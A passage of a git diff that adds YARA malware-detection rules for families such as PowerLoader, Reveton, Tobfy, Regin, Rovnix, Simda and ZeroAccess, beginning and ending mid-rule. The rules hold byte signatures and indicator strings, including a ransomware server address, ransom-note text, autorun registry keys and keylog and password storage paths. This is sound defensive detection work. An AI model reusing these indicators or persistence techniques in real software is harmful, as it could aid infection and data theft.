+		$hex0 = { 55 8b ec 81 ec 04 01 00 00 83 ?? ?? ?? 56 57 0f ?? ?? ?? ?? ?? 8b ?? ?? e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? be 34 71 42 00 8b ce e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 81 c2 ae 17 00 00 8b ca e8 ?? ?? ?? ?? 83 f8 08 0f ?? ?? ?? ?? ?? 52 e8 ?? ?? ?? ?? 8b f8 85 ff 74 ?? 68 04 01 00 00 6a 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? a1 ?? ?? ?? ?? 56 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 57 68 68 a3 42 00 50 ff ?? ?? ?? ?? ?? 83 c4 14 57 e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 68 d2 04 00 00 ff ?? ?? ?? ?? ?? 8b f0 ff ?? ?? ?? ?? ?? ff ?? ?? 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 8b f8 83 fe 01 75 ?? 6a 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 8b c7 eb ?? 33 c0 5f 5e c9 c2 04 00 55}
+		$hex1 = { 55 8b ec 81 ec 04 01 00 00 53 33 db 57 39 ?? ?? 0f ?? ?? ?? ?? ?? 8b ?? ?? 3b cb 0f ?? ?? ?? ?? ?? 39 ?? ?? 0f ?? ?? ?? ?? ?? 3b f3 0f ?? ?? ?? ?? ?? 39 ?? 0f ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 8b ?? ?? e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 81 c2 ae 17 00 00 8b ca e8 ?? ?? ?? ?? 83 f8 08 0f ?? ?? ?? ?? ?? 52 e8 ?? ?? ?? ?? 8b f8 3b fb 0f ?? ?? ?? ?? ?? 68 04 01 00 00 53 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? ff ?? ?? a1 ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 57 68 68 a3 42 00 50 ff ?? ?? ?? ?? ?? 83 c4 14 57 e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 68 d2 04 00 00 ff ?? ?? ?? ?? ?? 8b f8 ff ?? ?? ?? ?? ?? ff ?? ?? 8b ?? ff ?? ?? 8d ?? ?? ?? ?? ?? 50 68 01 00 00 80 e8 ?? ?? ?? ?? 89 ?? 83 ff 01 75 ?? 53 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 39 ?? 0f 95 c0 eb ?? 32 c0 5f 5b c9 c2 0c 00}
+		$hex2 = { 55 8b ec 81 ec 98 06 00 00 8b cf e8 ?? ?? ?? ?? 83 f8 01 73 ?? 33 c0 40 c9 c3 53 56 57 32 db ff ?? ?? ?? ?? ?? 68 08 02 00 00 8b f0 6a 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 68 03 01 00 00 57 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? a1 ?? ?? ?? ?? 05 f2 14 00 00 50 56 ff ?? ?? ?? ?? ?? 85 c0 74 ?? a1 ?? ?? ?? ?? 05 f2 14 00 00 50 8b d7 e8 ?? ?? ?? ?? 85 c0 78 ?? 33 c0 40 e9 ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 57 e8 ?? ?? ?? ?? be 80 00 00 00 eb ?? ff ?? ?? ?? ?? ?? 83 f8 05 75 ?? 84 db 75 ?? 8b cf e8 ?? ?? ?? ?? 83 f8 01 72 ?? 57 e8 ?? ?? ?? ?? b3 01 56 57 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 57 ff ?? ?? ?? ?? ?? 8b f0 85 f6 74 ?? 68 00 c1 42 00 56 ff ?? ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 68 0c c1 42 00 56 ff ?? ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 6a 5c 5e 8b d7 e8 ?? ?? ?? ?? 40 50 57 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 50 8d ?? ?? ?? ?? ?? 50 8d ?? ?? ?? ?? ?? 68 18 c1 42 00 50 ff ?? ?? ?? ?? ?? 83 c4 10 6a 08 8d ?? ?? ?? ?? ?? 50 57 ff ?? ?? ?? ?? ?? 85 c0 75 ?? 6a 04 50 57 ff ?? ?? ?? ?? ?? 57 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 85 c0 75 ?? 68 8c 00 00 00 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 83 f8 05 75 ?? 8b cf e8 ?? ?? ?? ?? 83 f8 01 72 ?? 57 e8 ?? ?? ?? ?? eb ?? 32 c0 fe c8 0f b6 c0 f7 d8 1b c0 83 e0 02 eb ?? 6a 03 58 eb ?? 33 c0 5e 5b c9 c3}
+		$hex3 = { 55 8b ec 83 e4 f8 51 8b ?? ?? 57 85 d2 0f ?? ?? ?? ?? ?? 0f ?? ?? 66 85 c9 0f ?? ?? ?? ?? ?? 0f ?? ?? ?? 83 e8 00 0f ?? ?? ?? ?? ?? 48 74 ?? 48 0f ?? ?? ?? ?? ?? 48 0f ?? ?? ?? ?? ?? b8 1c 03 00 00 66 3b c8 0f ?? ?? ?? ?? ?? a1 ?? ?? ?? ?? 0f ?? ?? ?? 50 e8 ?? ?? ?? ?? 3c 01 0f ?? ?? ?? ?? ?? 52 e8 ?? ?? ?? ?? e9 ?? ?? ?? ?? b8 18 01 00 00 66 3b c8 75 ?? a1 ?? ?? ?? ?? 83 ?? ?? ?? 74 ?? 8d ?? ?? 8b cf e8 ?? ?? ?? ?? 83 f8 02 76 ?? 8b ?? ?? f6 c2 01 74 ?? e8 ?? ?? ?? ?? 83 f8 fe 75 ?? a1 ?? ?? ?? ?? 03 c0 e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? eb ?? f6 c2 02 74 ?? 57 e8 ?? ?? ?? ?? eb ?? f6 c2 04 74 ?? e8 ?? ?? ?? ?? eb ?? b8 24 14 00 00 66 3b c8 75 ?? a1 ?? ?? ?? ?? 0f ?? ?? ?? 50 e8 ?? ?? ?? ?? 3c 01 75 ?? 8b c2 e8 ?? ?? ?? ?? 33 c0 40 eb ?? 33 c0 5f 8b e5 5d c2 04 00}
+		$hex4 = { 8b ?? ?? c6 ?? ?? ?? ?? ff ?? ?? 83 f9 37 8b ?? ?? 7e ?? eb ?? c6 ?? ?? ?? ?? ff ?? ?? 8b ?? ?? 83 f9 40 7c ?? e8 ?? ?? ?? ?? eb ?? 8b ?? ?? c6 ?? ?? ?? ?? ff ?? ?? 83 ?? ?? ?? 7c ?? eb ?? c6 ?? ?? ?? ?? ff ?? ?? 8b ?? ?? 83 f9 38 7c ?? 8a ?? ?? 88 ?? ?? 8a ?? ?? 88 ?? ?? 8a ?? ?? 88 ?? ?? 8a ?? ?? 88 ?? ?? 8a ?? ?? 88 ?? ?? 8a ?? ?? 88 ?? ?? 8a ?? ?? 88 ?? ?? 8a ?? ?? 88 ?? ?? e9 ?? ?? ?? ??}
+		$hex5 = { 55 8b ec 51 51 56 33 f6 57 8b f9 3b c6 74 ?? 39 ?? ?? 74 ?? 3b fe 74 ?? 39 ?? ?? 74 ?? 6a 07 5a 39 ?? ?? 72 ?? 89 ?? ?? 89 ?? ?? 39 ?? ?? 76 ?? 53 eb ?? 33 f6 3b ?? ?? 77 ?? 8b ?? ?? 8d ?? ?? ?? 8a ?? ?? 3a ?? ?? 75 ?? ff ?? ?? 83 ?? ?? ?? 75 ?? 8d ?? ?? eb ?? 8a ?? ?? 88 ?? ?? 41 3b ca 72 ?? ff ?? ?? 46 83 fe 07 72 ?? eb ?? 83 ?? ?? ?? 42 8d ?? ?? 4f 3b ?? ?? 72 ?? 5b 8b ?? ?? eb ?? 83 c8 ff 5f 5e c9 c2 08 00}
+
+
+	condition:
+		(10 of them) or (any of ($hex*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.PowerLoader.yar b/yara-mikesxrs/g00dv1n/Trojan.PowerLoader.yar
new file mode 100644
index 0000000..881197c
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.PowerLoader.yar
@@ -0,0 +1,22 @@
+rule MalwarePowerLoaderSample
+{
+	meta:
+		Description  = "Trojan.PowerLoader.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$str_1 = "powerloader" ascii wide
+
+		$ = "inject64_section" ascii wide
+		$ = "inject64_event" ascii wide
+		$ = "inject_section" ascii wide
+		$ = "inject_event" ascii wide
+		$ = "loader.dat" ascii wide
+		$ = "Inject64End" ascii wide
+		$ = "Inject64Normal" ascii wide
+		$ = "Inject64Start" ascii wide
+		$ = "UacInject64End" ascii wide
+		$ = "UacInject64Start" ascii wide
+	condition:
+		(2 of them) or (any of ($str_*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Ransom.yar b/yara-mikesxrs/g00dv1n/Trojan.Ransom.yar
new file mode 100644
index 0000000..b79bbff
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Ransom.yar
@@ -0,0 +1,56 @@
+rule TrojanRansomRevetonSample
+{
+	meta:
+		Description  = "Trojan.Reveton.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$a = "JimmMonsterNew" ascii wide
+		$  = "regedit.exe" ascii wide
+		$  = "rundll32.exe" ascii wide
+		$  = "msconfig.lnk" ascii wide
+		$  = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon" ascii wide
+		$  = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell" ascii wide
+		$  = "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ctfmon.exe" ascii wide
+	condition:
+		(3 of them) or $a
+}
+
+rule TrojanWin32UrausySampleA
+{
+	meta:
+		Description  = "Trojan.Urausy.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$a = { 55 89 E5 53 56 57 83 0D ?? ?? ?? ?? 01 31 C0 5F 5E 5B C9 C2 04 00 }
+		$b = { FF 15 ?? ?? ?? ?? 09 C0 0F 84 ?? ?? ?? ?? 8B 75 ?? 89 C3 6A 01 6A FF 6A 05 56 E8 }
+
+	condition:
+		$a and $b
+}
+
+rule TrojanRansomWin32TobfySample
+{
+ 	meta:
+ 		Description  = "Trojan.Tobfy.sm"
+ 		ThreatLevel  = "5"
+
+ 	strings:
+		$ = "http://62.109.28.231/gtx3d16bv3/upload/img.jpg" ascii wide
+		$ = "http://62.109.28.231/gtx3d16bv3/upload/mp3.mp3" ascii wide
+
+		$ = "Pay MoneyPak" ascii wide
+		$ = "You have 72 hours to pay the fine!" ascii wide
+		$ = "Wait! Your request is processed within 24 hours." ascii wide
+		$a = "G:\\WORK\\WORK_PECEPB\\Work_2012 Private\\Project L-0-ck_ER\\NEW Extern\\inject\\injc\\Release\\injc.pdb" ascii wide
+		$b = "G:\\WORK\\WORK_PECEPB\\Work_2012 Private\\Project L-0-ck_ER\\Version V 1.0\\V1.0\\Release\\te.pdb" ascii wide
+		$ = "picture.php?pin=" ascii wide
+		$ = "s\\sound.mp3" ascii wide
+		$ = "s\\1.jpg" ascii wide
+		$ = "s\\1.bmp" ascii wide
+		$ = "getunlock.php" ascii wide
+
+ 	condition:
+ 		(4 of them) or $a or $b
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Regin.yar b/yara-mikesxrs/g00dv1n/Trojan.Regin.yar
new file mode 100644
index 0000000..1a64ed5
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Regin.yar
@@ -0,0 +1,101 @@
+rule Regin_APT_KernelDriver_Generic_A {
+        meta:
+		        Description = "Trojan.Regin.A.sm"
+				ThreatLevel = "5"
+        strings:
+                $m1 = { 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e }
+
+                $s0 = "atapi.sys" fullword wide
+                $s1 = "disk.sys" fullword wide
+                $s3 = "h.data" fullword ascii
+                $s4 = "\\system32" fullword ascii
+                $s5 = "\\SystemRoot" fullword ascii
+                $s6 = "system" fullword ascii
+                $s7 = "temp" fullword ascii
+                $s8 = "windows" fullword ascii
+
+                $x1 = "LRich6" fullword ascii
+                $x2 = "KeServiceDescriptorTable" fullword ascii
+        condition:
+                $m1 and all of ($s*) and 1 of ($x*)
+}
+
+rule Regin_APT_KernelDriver_Generic_B {
+        meta:
+				Description = "Trojan.Regin.B.sm"
+				ThreatLevel = "5"
+        strings:
+                $s1 = { 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e }
+                $s2 = "H.data" fullword ascii nocase
+                $s3 = "INIT" fullword ascii
+                $s4 = "ntoskrnl.exe" fullword ascii
+
+                $v1 = "\\system32" fullword ascii
+                $v2 = "\\SystemRoot" fullword ascii
+                $v3 = "KeServiceDescriptorTable" fullword ascii
+
+                $w1 = "\\system32" fullword ascii
+                $w2 = "\\SystemRoot" fullword ascii
+                $w3 = "LRich6" fullword ascii
+
+                $x1 = "_snprintf" fullword ascii
+                $x2 = "_except_handler3" fullword ascii
+
+                $y1 = "mbstowcs" fullword ascii
+                $y2 = "wcstombs" fullword ascii
+                $y3 = "KeGetCurrentIrql" fullword ascii
+
+                $z1 = "wcscpy" fullword ascii
+                $z2 = "ZwCreateFile" fullword ascii
+                $z3 = "ZwQueryInformationFile" fullword ascii
+                $z4 = "wcslen" fullword ascii
+                $z5 = "atoi" fullword ascii
+        condition:
+                all of ($s*) and ( all of ($v*) or all of ($w*) or all of ($x*) or all of ($y*) or all of ($z*) )
+}
+
+rule Regin_APT_KernelDriver_Generic_C {
+        meta:
+				Description = "Trojan.Regin.C.sm"
+				ThreatLevel = "5"
+                /*description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
+                author = "@Malwrsignatures - included in APT Scanner THOR"
+                date = "23.11.14"
+                hash1 = "e0895336617e0b45b312383814ec6783556d7635"
+                hash2 = "732298fa025ed48179a3a2555b45be96f7079712"  */
+        strings:
+
+                $s0 = "KeGetCurrentIrql" fullword ascii
+                $s1 = "5.2.3790.0 (srv03_rtm.030324-2048)" fullword wide
+                $s2 = "usbclass" fullword wide
+
+                $x1 = "PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING" ascii
+                $x2 = "Universal Serial Bus Class Driver" fullword wide
+                $x3 = "5.2.3790.0" fullword wide
+
+                $y1 = "LSA Shell" fullword wide
+                $y2 = "0Richw" fullword ascii
+        condition:
+                all of ($s*) and ( all of ($x*) or all of ($y*) )
+}
+
+rule Regin_sig_svcsstat {
+        meta:
+				Description = "Trojan.Regin.sm"
+				ThreatLevel = "5"
+                /*description = "Detects svcstat from Regin report - file svcsstat.exe_sample"
+                author = "@Malwrsignatures"
+                date = "25.11.14"
+                score = 70
+                hash = "5164edc1d54f10b7cb00a266a1b52c623ab005e2"*/
+        strings:
+                $s0 = "Service Control Manager" fullword ascii
+                $s1 = "_vsnwprintf" fullword ascii
+                $s2 = "Root Agency" fullword ascii
+                $s3 = "Root Agency0" fullword ascii
+                $s4 = "StartServiceCtrlDispatcherA" fullword ascii
+                $s5 = "\\\\?\\UNC" fullword ascii
+                $s6 = "%ls%ls" fullword wide
+        condition:
+                all of them and filesize < 15KB and filesize > 10KB
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Rovnix.yar b/yara-mikesxrs/g00dv1n/Trojan.Rovnix.yar
new file mode 100644
index 0000000..7445696
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Rovnix.yar
@@ -0,0 +1,36 @@
+rule TrojanWin32RovnixSample
+{
+	meta:
+		Description  = "Trojan.Rovnix.sm"
+		ThreatLevel  = "5"
+	strings:
+		$ = "dropper.exe" ascii wide
+		$ = "dropper_x64.exe" ascii wide
+		$ = "Inject64Start" ascii wide
+		$ = "Inject64End" ascii wide
+		$ = "Inject64Normal" ascii wide
+		$ = "inject_section" ascii wide
+		$ = "inject_event" ascii wide
+		$ = "0:/plugins/%s" ascii wide
+		$ = "0:/plugins/base" ascii wide
+		$ = "0:/plugins/base/binary" ascii wide
+		$ = "0:/plugins/base/mask" ascii wide
+		$ = "0:/plugins/base/version" ascii wide
+		$ = "0:/plugins/base/once" ascii wide
+		$ = "0:/plugins/rootkit" ascii wide
+		$ = "0:/plugins/rootkit/binary" ascii wide
+		$ = "0:/plugins/rootkit/version" ascii wide
+		$ = "0:/plugins/rootkit/binary" ascii wide
+		$ = "0:\\storage\\keylog" ascii wide
+		$ = "0:\\storage\\config" ascii wide
+		$ = "0:\\storage\\intrnl" ascii wide
+		$ = "0:\\storage\\passw" ascii wide
+		$ = "0:\\storage\\hunter" ascii wide
+		$ = "0:/hidden" ascii wide
+		$ = "0:/hidden/%s" ascii wide
+		$ = "0:/hidden/%s/path" ascii wide
+		$ = "0:/hidden/%s/binary" ascii wide
+		$ = "0:/hidden/%s/mask" ascii wide
+	condition:
+		3 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Simda.yar b/yara-mikesxrs/g00dv1n/Trojan.Simda.yar
new file mode 100644
index 0000000..37c15cc
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Simda.yar
@@ -0,0 +1,19 @@
+rule TrojanDroppedBackdoorWin32SimdaSample
+{
+	meta:
+		Description  = "Trojan.Simda.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = ".driver" ascii wide
+		$ = ".userm"  ascii wide
+		$ = ".uac64"  ascii wide
+		$ = ".mcp"    ascii wide
+		$ = ".cfgbin" ascii wide
+		$ = ".uacdll" ascii wide
+		$ = "%s\\%s.sys" ascii wide
+		$ = "%s\\%s.exe" ascii wide
+		$ = "%appdata%\\ScanDisc.exe" ascii wide
+	condition:
+		4 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Sirefef.yar b/yara-mikesxrs/g00dv1n/Trojan.Sirefef.yar
new file mode 100644
index 0000000..f9a139f
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Sirefef.yar
@@ -0,0 +1,180 @@
+// Rule - Dropped file from Trojan Sirefef / ZeroAccess.
+rule TrojanSirefefZerroAccess
+{
+	meta:
+		Description  = "Trojan.Sirefef.sm"
+		ThreatLevel  = "5"
+
+	strings:
+
+		//$ = "n64" ascii wide
+		//$ = "n32" ascii wide
+		//$ = "$Recycle.Bin\\" ascii wide
+		$ = "\\$%08x%04x%04x%02x%02x%02x%02x%02x%02x%02x%02x" ascii wide
+		//$ = "{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}"  ascii wide
+		
+		
+		$ = "%wZ\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders" ascii wide 
+		$ = "%wZ\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"  ascii wide
+		$ = "%wZ\\Software\\Classes\\clsid" ascii wide		
+		$ = "\\registry\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\" ascii wide 
+		$ = "\\registry\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide    
+				
+		$ = "\\systemroot\\system32\\config" ascii wide  
+		$ = "\\??\\ACPI#PNP0303#2&da1a3ff&0" ascii wide   
+		$ = "GoogleUpdate.exe" ascii wide
+		$ = "Google Update Service (gupdate)" ascii wide
+		$ = "%sU\\%08x.@" ascii wide
+		$ = "\\??\\%sU" ascii wide
+		$ = "\\??\\%s@" ascii wide
+		$ = "%08x.@" ascii wide
+		$ = "%08x.$" ascii wide
+		$ = "%08x.~" ascii wide
+		$ = "\\??\\%08x" ascii wide 
+		$ = "\\n." ascii wide
+		$ = "wbem\\fastprox.dll" ascii wide
+
+		$ = "c:\\windows\\system32\\z" ascii wide
+		$s1 = "e:\\sz\\x64\\release\\InCSRSS.pdb"  ascii wide
+
+		$s2 = "C:\\Jinket\\Lownza\\Kueshmmba\\de.pdb" ascii wide
+		$s3 = "E:\\Marlne\\Bensjo\\Ernstedun\\Rugriayid\\Wasp851.pdb" ascii wide
+
+		$hex0 = { 55 8b ec 83 ec 48 53 56 57 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 8d ?? ?? ?? 59 8b c6 e8 ?? ?? ?? ?? 8b c6 89 ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? ff ?? ?? ?? ?? ?? 68 08 54 30 6a ff ?? ?? ff d6 ff ?? ?? ?? ?? ?? 68 18 54 30 6a ff ?? ?? ff d6 83 c4 18 83 ?? ?? ?? ?? ?? ?? 75 ?? 8b ?? ?? ?? ?? ?? bb 98 70 30 6a bf 00 00 10 00 eb ?? ff ?? ?? ff ?? ?? ?? ?? ?? 68 a0 0f 00 00 ff ?? ?? ?? ?? ?? 53 57 8d ?? ?? 50 ff d6 85 c0 7d ?? 68 60 ea 00 00 ff ?? ?? ?? ?? ?? bb 54 70 30 6a eb ?? ff ?? ?? ff ?? ?? ?? ?? ?? 6a 01 68 e0 93 04 00 ff ?? ?? ?? ?? ?? ff ?? ?? e8 ?? ?? ?? ?? 53 57 8d ?? ?? 50 ff d6 85 c0 7d ?? bf 20 71 30 6a 57 ff ?? ?? ?? ?? ?? 6a 00 ff ?? ?? 8d ?? ?? e8 ?? ?? ?? ?? 50 6a 00 ff ?? ?? 8d ?? ?? e8 ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 57 ff ?? ?? ?? ?? ?? 33 c0 8d ?? ?? 5f 5e 5b c9 c2 04 00}
+		$hex1 = { 55 8b ec 83 ec 18 56 57 8d ?? ?? 50 e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? be 00 08 00 00 8b c6 e8 ?? ?? ?? ?? 8b fc 33 c0 b9 30 00 fe 7f 66 ?? ?? ?? 66 ?? ?? ?? 89 ?? ?? 0f ?? ?? 0f ?? ?? ?? 8b ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 41 41 66 83 f8 5c 75 ?? 66 ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? b8 28 55 30 6a 72 ?? b8 3c 55 30 6a 50 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 0f b7 c8 01 ?? ?? 33 c0 50 66 ?? ?? ?? 8b ?? ?? ff ?? 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 0f ?? ?? ?? 0f ?? ?? ?? 2b c8 83 f9 50 0f ?? ?? ?? ?? ?? 0f ?? ?? ?? 51 0f ?? ?? ?? 51 0f ?? ?? ?? 51 0f ?? ?? ?? 51 0f ?? ?? ?? 51 0f ?? ?? ?? 51 0f ?? ?? ?? 51 0f ?? ?? ?? 51 0f ?? ?? ?? 51 0f ?? ?? ?? 51 ff ?? ?? 8b ?? ?? 03 c1 68 58 55 30 6a 50 ff ?? ?? ?? ?? ?? 57 ff ?? ?? ?? ?? ?? 83 c4 38 6a 02 5a 40 33 c9 f7 e2 0f 90 c1 f7 d9 0b c1 50 6a 00 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? 85 c0 74 ?? 57 50 ff ?? ?? ?? ?? ?? 59 33 c0 59 40 eb ?? 33 c0 8d ?? ?? 5f 5e c9 c2 04 00}
+		$hex2 = { 8b ?? ?? ?? 83 e8 00 74 ?? 48 75 ?? ff ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ?? e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 85 c0 74 ?? e8 ?? ?? ?? ?? 85 c0 74 ?? 6a 00 6a 00 ff ?? ?? ?? 68 62 13 30 6a 68 00 00 08 00 6a 00 ff ?? ?? ?? ?? ?? eb ?? a1 ?? ?? ?? ?? 85 c0 74 ?? 50 ff ?? ?? ?? ?? ?? a1 ?? ?? ?? ?? 85 c0 74 ?? 50 ff ?? ?? ?? ?? ?? 33 c0 40 c2 0c 00}
+		$hex3 = { 55 8b ec 51 51 53 56 8b ?? ?? 56 ff ?? ?? ?? ?? ?? 8b d8 85 db 0f ?? ?? ?? ?? ?? 57 6a 40 68 00 10 00 00 ff ?? ?? 6a 00 ff ?? ?? ?? ?? ?? 8b f8 89 ?? ?? 85 ff 0f ?? ?? ?? ?? ?? 8b ?? ?? f3 ?? 0f ?? ?? ?? 0f ?? ?? ?? 8d ?? ?? ?? 83 c0 0c 8b ?? 8b ?? ?? 8b ?? ?? 03 f1 03 f9 8b ?? ?? 83 c0 28 4a f3 ?? 75 ?? 8b ?? ?? 8b ?? ?? ?? ?? ?? 2b ?? ?? 8d ?? ?? 50 6a 05 6a 01 ff ?? ?? ff d7 85 c0 74 ?? eb ?? 8b ?? ?? 29 ?? ?? 56 8d ?? ?? 8b ?? 03 ?? ?? 83 c1 f8 52 d1 e9 51 50 ff ?? ?? ?? ?? ?? 83 ?? ?? ?? 75 ?? 8d ?? ?? 50 6a 01 6a 01 ff ?? ?? ff d7 85 c0 74 ?? 8d ?? ?? 8b ?? 85 c0 74 ?? 8b f1 8b ?? ?? 03 c1 50 ff ?? ?? ?? ?? ?? 83 c6 14 8b ?? 85 c0 75 ?? 8b ?? ?? 5f 5e 5b c9 c2 04 00}
+		$hex4 = { 8b ?? ?? ?? ?? ?? b8 00 20 00 00 66 ?? ?? ?? ?? ?? ?? 75 ?? e8 ?? ?? ?? ?? 8b ?? ?? ?? 48 75 ?? 56 ff ?? ?? ?? ff ?? ?? ?? ?? ?? 33 f6 56 6a 04 56 68 0a 1d 40 00 56 56 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? 3b c6 74 ?? 56 50 ff ?? ?? ?? ?? ?? 5e b0 01 c2 0c 00}
+        $hex5 = { 55 8b ec 83 e4 f8 83 ec 34 53 56 57 33 db 53 6a 18 8d ?? ?? ?? 50 53 ff ?? ?? ff ?? ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 8b ?? ?? ?? 89 ?? ?? ?? 33 c0 8d ?? ?? ?? ab 8d ?? ?? ?? 50 68 00 90 42 00 68 ff ff 1f 00 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 8b ?? ?? 8b ?? ?? ?? ?? ?? 3b c3 74 ?? 48 50 ff ?? ?? e8 ?? ?? ?? ?? e9 ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 6a 02 53 53 8d ?? ?? ?? 50 ff ?? ?? 6a ff 6a ff ff d6 85 c0 7c ?? 6a 02 53 53 8d ?? ?? ?? 50 ff ?? ?? 6a fe 6a ff ff d6 85 c0 7c ?? 6a 20 53 8d ?? ?? ?? 50 68 20 90 42 00 68 9f 01 12 00 8d ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 85 c0 7c ?? 53 53 6a 08 8d ?? ?? ?? 50 8d ?? ?? ?? 50 53 53 53 ff ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ?? ff d7 68 18 90 42 00 6a 01 ff ?? ?? ?? ?? ?? ff ?? ?? ff d7 5f 5e 5b 8b e5 5d c2 08 00}
+        $hex6 = { 55 8b ec 51 68 c2 7e 42 00 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 8d ?? ?? 51 68 02 23 00 00 6a 00 50 ff ?? ?? ?? ?? ?? 85 c0 7c ?? a1 ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 85 c0 75 ?? b8 53 50 43 33 68 00 00 40 00 50 ff ?? ?? ?? ?? ?? ff ?? ?? c9 c3}
+        $hex7 = { 55 8b ec 83 ec 64 53 56 57 ff ?? ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? ff ?? ?? ff ?? ?? e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 33 db 53 53 ff ?? ?? ?? ?? ?? 50 68 4d 10 40 00 53 53 53 53 53 6a ff ff ?? ?? ?? ?? ?? b8 00 04 00 00 e8 ?? ?? ?? ?? 8b f4 89 ?? ?? 89 ?? ?? e9 ?? ?? ?? ?? 8d ?? ?? 50 56 c7 ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 83 ?? ?? ?? 75 ?? 6a 30 53 ff ?? ?? ?? ?? ?? 3b c3 74 ?? 8b ?? ?? 8b ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? c6 ?? ?? ?? 8d ?? ?? 89 ?? ?? 89 ?? 8d ?? ?? 89 ?? ?? 89 ?? 8b ?? ?? ?? ?? ?? 89 ?? c7 ?? ?? ?? ?? ?? ?? 89 ?? ?? a3 ?? ?? ?? ?? eb ?? 33 c0 3b c3 74 ?? 8d ?? ?? e8 ?? ?? ?? ?? ff ?? ?? e9 ?? ?? ?? 